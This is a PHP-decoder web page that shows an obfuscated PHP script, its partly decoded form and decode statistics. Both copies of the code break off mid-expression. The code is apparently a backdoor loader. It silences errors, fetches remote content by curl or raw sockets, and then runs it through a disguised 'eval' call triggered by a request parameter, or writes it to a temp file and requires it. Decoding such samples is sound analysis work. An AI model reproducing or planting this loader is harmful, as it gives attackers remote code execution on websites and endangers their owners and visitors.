Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto dDCpy; H_nH1: function fkCSh($XmFJ7) { return hexdec($XmFJ7[1]) == strlen($XmFJ7[2]) ..

Decoded Output download

<?  goto dDCpy; H_nH1: function fkCSh($XmFJ7) { return hexdec($XmFJ7[1]) == strlen($XmFJ7[2]) ? $XmFJ7[2] : $XmFJ7[0]; } goto Iazf1; XYzu1: function QTEQw($J99qF = '') { goto IfCux; IMihN: nanAx: goto ESGB1; ZfgBd: goto Bw9ro; goto IMihN; Dh13L: goto Bw9ro; goto kmSii; lMA3b: Bw9ro: goto qV1Ub; EJgnC: return $_SERVER["SERVER_NAME"]; goto lMA3b; IfCux: if (isset($_SERVER["HTTP_HOST"])) { goto nanAx; } goto n64eI; n64eI: if (isset($_SERVER["SERVER_NAME"])) { goto gs_kZ; } goto ZfgBd; kmSii: gs_kZ: goto EJgnC; qV1Ub: return $J99qF; goto hYpab; ESGB1: return $_SERVER["HTTP_HOST"]; goto Dh13L; hYpab: } goto ALolp; Iazf1: function dYU1_($kVD8h = '') { goto dMql5; R9ivB: return trim($kVD8h); goto NBExo; dMql5: $kVD8h = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto n613D; n613D: $kVD8h = $kVD8h ? $kVD8h : $_SERVER["REMOTE_ADDR"]; goto R9ivB; NBExo: } goto XYzu1; dDCpy: error_reporting(0); goto ozhYP; ALolp: function XgNQM($RTzUY) { goto khYlU; khYlU: $C2cae = TQAMB($RTzUY); goto thGCF; fEqwW: @(require $s19cn["uri"]); goto R0BMl; JEdE2: if (!isset($_REQUEST["e"])) { goto B8K3N/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; } goto gK7Dy; HrA11: B8K3N: goto Kcbyv; ZDDez: die; goto HrA11; yaU0D: $kIpTO = tmpfile(); goto JEdE2; Y7hcx: die("get failed"); goto m4i44; R0BMl: fclose($kIpTO); goto Wm8i_; thGCF: $rbFrk = base64_decode("PD9waHA="); goto Mrc2W; m4i44: a3Q74: goto yaU0D; iRnsj: $VseDg($C2cae); goto ZDDez; Mrc2W: if (!(strpos($C2cae, $rbFrk) === false)) { goto a3Q74; } goto Y7hcx; Kcbyv: fwrite($kIpTO, $C2cae); goto ANzxS; gK7Dy: $C2cae = str_replace($rbFrk, '', $C2cae); goto rj4JB; ANzxS: $s19cn = stream_get_meta_data($kIpTO); goto fEqwW; rj4JB: $VseDg = "e" . "v" . "a" . "l"; goto iRnsj; Wm8i_: die; goto qG__M; qG__M: } goto GfOnu; Xdakc: $MED20 = "Ha0RHc6MyLj9nLpdzYuU2Yt9wL=="; goto Z0sVv; nVzKe: function Fn3Jh($o_ny5) { goto BO477; qDZ2F: c0O91: goto O0Sxd; BO477: $Wc5gX = @preg_split("/{\|}/si", $o_ny5, -1, PREG_SPLIT_NO_EMPTY); goto une64; iKsJ7: if (!(count($Wc5gX) != 2)) { goto c0O91; } goto tWmZJ; n51jx: return false; goto Av7Pe; Av7Pe: fn13S: goto iKsJ7; une64: if (is_array($Wc5gX)) { goto fn13S; } goto n51jx; O0Sxd: return $Wc5gX; goto lNO5P; tWmZJ: return false; goto qDZ2F; lNO5P: } goto c5W3h; pTQzQ: function tqAmB($RTzUY) { goto xrNZT; iK4qQ: ua4_z: goto jMfEr; oNmT1: curl_setopt($I3nrD, CURLOPT_USERAGENT, "s"); goto fEdvD; O6kQI: usvb6: goto Mfe6P; gxgjz: $RVCYk = stream_get_meta_data($A_c7E); goto MySv1; xGkqj: $fFyUY[] = "User-Agent: s"; goto qyrUf; dpiAz: Canee: goto oPyN2; OFJbR: return $N_SS4; goto F0C2E; AAX8R: socket_write($A_c7E, $fB7lE, strlen($fB7lE)); goto WaFfU; bk_DX: LgJKw: goto qCwNo; PygOq: return "501"; goto bk_DX; lHKEa: stream_set_blocking($A_c7E, TRUE); goto vmQIS; MBfEA: $A_c7E = null; goto hTD8L; VGLPD: vs6jI: goto vtrTz; BWyIc: goto IkXIf; goto hwKHx; WbMY2: KoxpE: goto JHObZ; Hk1Sb: goto vtLk6; goto ADYf9; fpjFJ: ufI42: goto s9CPE; nKEYU: return "500"; goto cz8OQ; n1oJq: ARFM5: goto ulRo3; dcbIV: $o_ny5 .= $ci9uW; goto ahZ1u; penjM: $NzeVM = $n9xs4["host"]; goto nJK1o; Bzep0: $o_ny5 = implode("
\xd
", $o_ny5); goto fpjFJ; cgTm3: $LCIcH = file_get_contents($RTzUY); goto PgIj2; z7QzR: isset($n9xs4["host"]) || ($n9xs4["host"] = ''); goto XagYg; FYMr6: $A_c7E = stream_socket_client($zdwf9, $Q0LTS, $yVilx, 30); goto fCVX1; IgAfu: tWPAJ: goto XYqd9; aA4G5: fclose($A_c7E); goto PNyJV; qCwNo: Yqqv7: goto qaO0P; XDWQ7: unset($fB7lE, $DMcZx, $A_c7E, $K4Uxr, $NzeVM); goto y46_k; MySv1: if ($RVCYk["timed_out"]) { goto G0LLd; } goto IgAfu; Q1uJw: $zdwf9 = "tcp://"; goto u2QXd; x2PUX: if (!socket_connect($A_c7E, $AUTyb, $K4Uxr)) { goto ufI42; } goto AAX8R; l26PG: QretQ: goto rV_2E; FK0OH: $tGD5F = $n9xs4["path"] ? $n9xs4["path"] . ($n9xs4["query"] ? "?" . $n9xs4["query"] : '') : "/"; goto penjM; AYTgj: $A_c7E = $DMcZx($NzeVM, $K4Uxr, $Q0LTS, $yVilx, 30); goto WbMY2; fAOtO: if (!$N_SS4) { goto K1A1y; } goto OFJbR; P8vWg: $fFyUY[] = "Connection: Close"; goto xGkqj; PNyJV: MB7sq: goto XDWQ7; xR_9J: if (feof($A_c7E)) { goto fv4ou; } goto zPZfl; kbax1: $AUTyb = gethostbyname($NzeVM); goto TGM2A; fEdvD: curl_setopt($I3nrD, CURLOPT_RETURNTRANSFER, 1); goto k64og; xrNZT: if (preg_match("/^https*\:\/\//si", $RTzUY)) { goto N6FxW; } goto nKEYU; q51gB: $NzeVM = "ssl://"; goto cbsCW; zPZfl: $ci9uW = fread($A_c7E, 8192); goto dcbIV; oPyN2: $rDyLu = "1.1"; goto wuzoM; Y1fg7: if (!(substr($DMcZx, -1) == "t")) { goto ajQ6p; } goto Q1uJw; SKZwW: $rDyLu = "1.0"; goto JYVYl; u2QXd: $zdwf9 .= $NzeVM; goto ey0LC; trVto: goto QretQ; goto dpiAz; y46_k: $o_ny5 = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" .  ?>

Did this file decode correctly?

Original Code

goto dDCpy; H_nH1: function fkCSh($XmFJ7) { return hexdec($XmFJ7[1]) == strlen($XmFJ7[2]) ? $XmFJ7[2] : $XmFJ7[0]; } goto Iazf1; XYzu1: function QTEQw($J99qF = '') { goto IfCux; IMihN: nanAx: goto ESGB1; ZfgBd: goto Bw9ro; goto IMihN; Dh13L: goto Bw9ro; goto kmSii; lMA3b: Bw9ro: goto qV1Ub; EJgnC: return $_SERVER["\123\x45\x52\x56\x45\122\x5f\116\101\x4d\x45"]; goto lMA3b; IfCux: if (isset($_SERVER["\110\x54\x54\120\137\x48\117\123\x54"])) { goto nanAx; } goto n64eI; n64eI: if (isset($_SERVER["\123\x45\x52\126\x45\x52\x5f\x4e\x41\x4d\105"])) { goto gs_kZ; } goto ZfgBd; kmSii: gs_kZ: goto EJgnC; qV1Ub: return $J99qF; goto hYpab; ESGB1: return $_SERVER["\110\124\124\120\137\110\x4f\123\124"]; goto Dh13L; hYpab: } goto ALolp; Iazf1: function dYU1_($kVD8h = '') { goto dMql5; R9ivB: return trim($kVD8h); goto NBExo; dMql5: $kVD8h = $_SERVER["\110\124\124\120\137\x56\x49\x41"] ? $_SERVER["\110\124\x54\x50\x5f\130\x5f\x46\117\x52\x57\x41\x52\104\x45\x44\137\x46\117\122"] : $_SERVER["\122\x45\x4d\117\124\105\137\x41\104\x44\122"]; goto n613D; n613D: $kVD8h = $kVD8h ? $kVD8h : $_SERVER["\x52\x45\x4d\x4f\124\x45\x5f\101\104\104\122"]; goto R9ivB; NBExo: } goto XYzu1; dDCpy: error_reporting(0); goto ozhYP; ALolp: function XgNQM($RTzUY) { goto khYlU; khYlU: $C2cae = TQAMB($RTzUY); goto thGCF; fEqwW: @(require $s19cn["\165\162\151"]); goto R0BMl; JEdE2: if (!isset($_REQUEST["\x65"])) { goto B8K3N/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; } goto gK7Dy; HrA11: B8K3N: goto Kcbyv; ZDDez: die; goto HrA11; yaU0D: $kIpTO = tmpfile(); goto JEdE2; Y7hcx: die("\147\145\164\x20\146\x61\x69\x6c\145\144"); goto m4i44; R0BMl: fclose($kIpTO); goto Wm8i_; thGCF: $rbFrk = base64_decode("\x50\x44\71\167\141\110\101\75"); goto Mrc2W; m4i44: a3Q74: goto yaU0D; iRnsj: $VseDg($C2cae); goto ZDDez; Mrc2W: if (!(strpos($C2cae, $rbFrk) === false)) { goto a3Q74; } goto Y7hcx; Kcbyv: fwrite($kIpTO, $C2cae); goto ANzxS; gK7Dy: $C2cae = str_replace($rbFrk, '', $C2cae); goto rj4JB; ANzxS: $s19cn = stream_get_meta_data($kIpTO); goto fEqwW; rj4JB: $VseDg = "\145" . "\x76" . "\x61" . "\154"; goto iRnsj; Wm8i_: die; goto qG__M; qG__M: } goto GfOnu; Xdakc: $MED20 = "\110\x61\60\x52\110\x63\66\115\171\114\152\x39\x6e\114\160\144\x7a\131\x75\125\62\131\x74\71\x77\x4c\x3d\75"; goto Z0sVv; nVzKe: function Fn3Jh($o_ny5) { goto BO477; qDZ2F: c0O91: goto O0Sxd; BO477: $Wc5gX = @preg_split("\x2f\x7b\x5c\174\175\x2f\x73\x69", $o_ny5, -1, PREG_SPLIT_NO_EMPTY); goto une64; iKsJ7: if (!(count($Wc5gX) != 2)) { goto c0O91; } goto tWmZJ; n51jx: return false; goto Av7Pe; Av7Pe: fn13S: goto iKsJ7; une64: if (is_array($Wc5gX)) { goto fn13S; } goto n51jx; O0Sxd: return $Wc5gX; goto lNO5P; tWmZJ: return false; goto qDZ2F; lNO5P: } goto c5W3h; pTQzQ: function tqAmB($RTzUY) { goto xrNZT; iK4qQ: ua4_z: goto jMfEr; oNmT1: curl_setopt($I3nrD, CURLOPT_USERAGENT, "\163"); goto fEdvD; O6kQI: usvb6: goto Mfe6P; gxgjz: $RVCYk = stream_get_meta_data($A_c7E); goto MySv1; xGkqj: $fFyUY[] = "\x55\163\145\162\x2d\x41\147\x65\156\164\x3a\x20\163"; goto qyrUf; dpiAz: Canee: goto oPyN2; OFJbR: return $N_SS4; goto F0C2E; AAX8R: socket_write($A_c7E, $fB7lE, strlen($fB7lE)); goto WaFfU; bk_DX: LgJKw: goto qCwNo; PygOq: return "\65\60\x31"; goto bk_DX; lHKEa: stream_set_blocking($A_c7E, TRUE); goto vmQIS; MBfEA: $A_c7E = null; goto hTD8L; VGLPD: vs6jI: goto vtrTz; BWyIc: goto IkXIf; goto hwKHx; WbMY2: KoxpE: goto JHObZ; Hk1Sb: goto vtLk6; goto ADYf9; fpjFJ: ufI42: goto s9CPE; nKEYU: return "\x35\60\x30"; goto cz8OQ; n1oJq: ARFM5: goto ulRo3; dcbIV: $o_ny5 .= $ci9uW; goto ahZ1u; penjM: $NzeVM = $n9xs4["\x68\157\x73\x74"]; goto nJK1o; Bzep0: $o_ny5 = implode("\15\12\xd\12", $o_ny5); goto fpjFJ; cgTm3: $LCIcH = file_get_contents($RTzUY); goto PgIj2; z7QzR: isset($n9xs4["\x68\x6f\x73\164"]) || ($n9xs4["\150\157\x73\x74"] = ''); goto XagYg; FYMr6: $A_c7E = stream_socket_client($zdwf9, $Q0LTS, $yVilx, 30); goto fCVX1; IgAfu: tWPAJ: goto XYqd9; aA4G5: fclose($A_c7E); goto PNyJV; qCwNo: Yqqv7: goto qaO0P; XDWQ7: unset($fB7lE, $DMcZx, $A_c7E, $K4Uxr, $NzeVM); goto y46_k; MySv1: if ($RVCYk["\164\151\x6d\x65\144\137\157\165\x74"]) { goto G0LLd; } goto IgAfu; Q1uJw: $zdwf9 = "\x74\x63\160\72\57\57"; goto u2QXd; x2PUX: if (!socket_connect($A_c7E, $AUTyb, $K4Uxr)) { goto ufI42; } goto AAX8R; l26PG: QretQ: goto rV_2E; FK0OH: $tGD5F = $n9xs4["\160\x61\x74\150"] ? $n9xs4["\x70\x61\x74\150"] . ($n9xs4["\x71\x75\x65\x72\171"] ? "\77" . $n9xs4["\161\165\x65\x72\x79"] : '') : "\x2f"; goto penjM; AYTgj: $A_c7E = $DMcZx($NzeVM, $K4Uxr, $Q0LTS, $yVilx, 30); goto WbMY2; fAOtO: if (!$N_SS4) { goto K1A1y; } goto OFJbR; P8vWg: $fFyUY[] = "\x43\157\156\156\x65\143\x74\x69\157\x6e\72\40\103\x6c\x6f\x73\145"; goto xGkqj; PNyJV: MB7sq: goto XDWQ7; xR_9J: if (feof($A_c7E)) { goto fv4ou; } goto zPZfl; kbax1: $AUTyb = gethostbyname($NzeVM); goto TGM2A; fEdvD: curl_setopt($I3nrD, CURLOPT_RETURNTRANSFER, 1); goto k64og; xrNZT: if (preg_match("\x2f\x5e\150\x74\164\160\x73\52\x5c\72\x5c\57\x5c\x2f\x2f\x73\x69", $RTzUY)) { goto N6FxW; } goto nKEYU; q51gB: $NzeVM = "\x73\163\154\x3a\57\x2f"; goto cbsCW; zPZfl: $ci9uW = fread($A_c7E, 8192); goto dcbIV; oPyN2: $rDyLu = "\61\x2e\x31"; goto wuzoM; Y1fg7: if (!(substr($DMcZx, -1) == "\x74")) { goto ajQ6p; } goto Q1uJw; SKZwW: $rDyLu = "\61\x2e\x30"; goto JYVYl; u2QXd: $zdwf9 .= $NzeVM; goto ey0LC; trVto: goto QretQ; goto dpiAz; y46_k: $o_ny5 = @preg_replace_callback("\57\50\77\72\x28\77\72\x5c\x72\x5c\156\x7c\134\x6e\x29\x7c\x5e\x29\50\x5b\60\x2d\71\x41\55\x46\x5d\53\x29\50\77\x3a\134\x72\134\x6e\x7c\134\x6e\x29\173\x31\54\x32\175\x28\56\x2a\x3f\51" . 

Function Calls

None

Variables

None

Stats

MD5 ea8914b348e525d8da65195eaedd79cf
Eval Count 0
Decode Time 45 ms